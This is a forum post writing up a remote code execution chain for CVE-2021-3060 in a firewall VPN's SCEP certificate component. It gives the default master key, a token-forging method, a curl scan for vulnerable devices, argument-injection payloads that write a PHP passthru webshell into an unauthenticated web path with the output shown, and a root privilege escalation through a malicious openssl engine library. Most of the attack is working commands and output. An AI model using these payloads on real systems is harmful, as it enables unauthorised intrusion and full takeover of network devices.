« Back to the Da Slop Pit Forum

sloppy certificate enrollment protocol, for ghosts (cve-2021-3060)

Posted by rqu69


Forum: Da Slop Pit Group

i found a rce (Really Cool Exploit) in the sslmgr component of globalprotect a while ago. this exploit is particularly fun because it combines a default crypto key, command parameter injection, and creative uses of the openssl command.

requests to sslmgr require a few parameters:
- scep-profile-name: the configured name of the scep profile
- user-email: the email of the user
- user: the name of the user
- host-id: the id of a scep client
- appauthcookie: a token generated by encrypting the expiration time, user, and host-id using the device key

scep-profile-name is verified against the configured scep profiles on the device. unfortunately scep is rarely used, and even if it is in use, there's not really an easy way to get this name unless you have a valid client configuration.

appauthcookie is generated using the cryptod encryption functionality. The token is the encryption and hash of the expiration timestamp, username, and host, as returned by cryptod apis. the key used for this is based on the device master key. by default, this master key is p1a2l3o4a5l6t7o8 (previously found by felix wilhelm and shown in his troopers talk). since this key is known, it is possible to generate valid appauthcookies which work for any system where the master key hasn't been changed.

lets generate a token with the following parameters just for funzies:
- expires april 20, 2069 (3133659600 as a unix timestamp)
- username is michaelb
- host id is boingus

the plaintext token will be 3133659600:michaelb:boingus

since there's plenty of easy apis for encrypting/decrypting cryptod data, i haven't fully reverse engineered a way to encrypt data manually. if you already have a shell on your firewall, you can use sdb. this is my preferred method: 

sdb -P3 -e  "sw.cryptod.runtime.api.encr={'ptext-len':27, 'plain-text':'3133659600:michaelb:boingus'}"
sw.cryptod.runtime.api.encr: { 'encrypted-text': <LUFRPT0zZ0xwZDhMNUZNakZXdk9YSDlONWhJdlp3ejA9M1FRbFVJSGJmcGlkV3h3STNQOGJKbisxaWl3dGlXcXpkakhQa04wamdWQT0=>, 'etext-len': 77, 'plain-text': <MzEzMzY1OTYwMDptaWNoYWVsYjpib2luZ3Vz>, 'ptext-len': 27,}

otherwise, if you have admin on your firewall, you can use the pandirect api from the management web interface. open up the browser console and run
PanDirect.run("Util.encrypt", "3133659600:michaelb:boingus"), then look at the response in the network tab.

in either case, base64-decode the response to get the token, in this case: -AQ==3gLpd8L5FMjFWvOXH9N5hIvZwz0=3QQlUIHbfpidWxwI3P8bJn+1iiwtiWqzdjHPkN0jgVA=

with this token, you can already scan for devices which don't have the master key changed:
curl -d 'scep-profile-name=test&user-email=a@a.a&user=michaelb&host-id=boingus&appauthcookie=-AQ==3gLpd8L5FMjFWvOXH9N5hIvZwz0=3QQlUIHbfpidWxwI3P8bJn+1iiwtiWqzdjHPkN0jgVA= <host>

when the master key is unchanged, you will see this error (due to the scep-profile-name not being valid):
<?xml version="1.0" encoding="UTF-8" ?>
                <msg>Unable to generate client certificate</msg>

otherwise, if the master key has been changed, you will see this error:
<?xml version="1.0" encoding="UTF-8" ?>
                <msg>Invalid Cookie</msg>

using this, we can control the user and host parameters. after a little bit of reverse engineering, i found that these parameters get snprintf'd into this string:

/usr/local/bin/pangenscepcert.sh -s "%s" -h "%s" -c "%s:%d" -i "%s" -e "%s" -m "%s" -y "%d" -u "%d" -l "%s" -o "%s" -q "%s" -j "%s" -b "%s" -r "%s" -d "%s" -f "%s" -a "%s" -g "%s" -n "%s" -k "%s" -t "%s"

this command is then passed to a custom function which attempts to safely tokenize parameters and pass them to execve() instead of using system(). i won't dive into the logic of that function too much, but basically the result is that we can inject arguments to pangenscepcert.sh.

pangenscepcert.sh doesn't do too much of interest itself, but it does call pansatcsr.sh.

/usr/local/bin/pansatcsr.sh -s "$serialno" -h "$hostname" -c "$certalgo:$nbits" -i "$challenge" -e "yes" -m "$digestalg" -y $numdays -u $keyusage -l "$subjaltemail" -o "$subjaltdns" -p "$subjaltip" -q "$subjalturi" -j "$tmpdir" -b "$subject" -d "$deviceserial"

most of these variables come from command line parameters, which means we control them. for example, we can control $digestalg by setting

host-id=test" "-m" "something"

pansatcsr.sh generates a csr using openssl. it first creates a config file, and then calls openssl to generate the csr. there are multiple calls to openssl with no double quoting used for arguments. for example,

openssl req -config $tmpfile -outform PEM -keyform PEM -new -$digestalg -nodes -out $sscsr -keyout $sskey -newkey rsa:$nbits -days $numdays

we control multiple of these variables (digestalg, nbits, numdays), so we can control the parameters by simply putting whitespace in some parameters. 

after a couple hours of hitting my head against a wall (autobimbofication), i was able to turn this into rce. i can write a csr to an arbitrary location using -out. i can also control a small portion of the contents of the csr using the hostname field, which is placed in the config. i can also use the -text flag to make sure everything gets written in plaintext rather than binary. this is sufficient to write a webshell to /var/appweb/sslvpndocs/global-protect/, which is accessible without authentication.

host-id=test" "-e" "yes" "-h" "<?php passthru\(\$_GET[0]\);?>" "-c" "RSA:512  -text -out /var/appweb/sslvpndocs/global-protect/a.php

sh-4.2# head -4 /var/appweb/sslvpndocs/global-protect/a.php
Certificate Request:
        Version: 0 (0x0)
        Subject: serialNumber=test, CN=<?php passthru($_GET[0]);?>

attacker-box$ curl -ks https://<host>/global-protect/a.php?0=id | head -4
Certificate Request:
        Version: 0 (0x0)
        Subject: serialNumber=test, CN=uid=99(nobody) gid=99(nobody) groups=99(nobody)

"but wait, i don't wanna be a nobody, how do i become a somebody" i hear you ask. well its quite simple... the script that we just exploited was running as root. now that we have rce, we can take advantage of the exact same openssl parameter injection, except this time we'll use it for privesc.

openssl supports loading engines from the command line. an engine is just a .so which gets dlopen'd when you pass it as the -engine parameter. since we have shell access, we can write a payload which executes anything we want when it gets loaded using DT_INIT.

if you're boring and want a big file, you can use something like

__attribute__((constructor)) static void _init()

$ gcc -fPIC -shared -o module.so module.c

and pull the file over the network using your shell.

but if you're fun and cool like me, you might decide to do something fun and cool like writing a 136-byte library which executes /tmp/wow when it's loaded, and which can be easily written to a file using echo|base64 -d from your webshell.


curl -k

curl -k

and then you can run your payload with 

host-id=test" "-e" "yes" "-m" "sha1 -engine /tmp/engine.so

and there you have it, your latest sloppy exploit, from the sloppiest ghost on line.

please remember to like, comment, and rawr xD for more Posts like this one 

Report Topic

2 Replies

Sort Replies:

Reply by yung innanet


Reply by rqu69


finally got around to REing the pan_translate_buffer function used for masterkey encryption/decryption. see here for that info if you want an easier way to perform those operations

Report Reply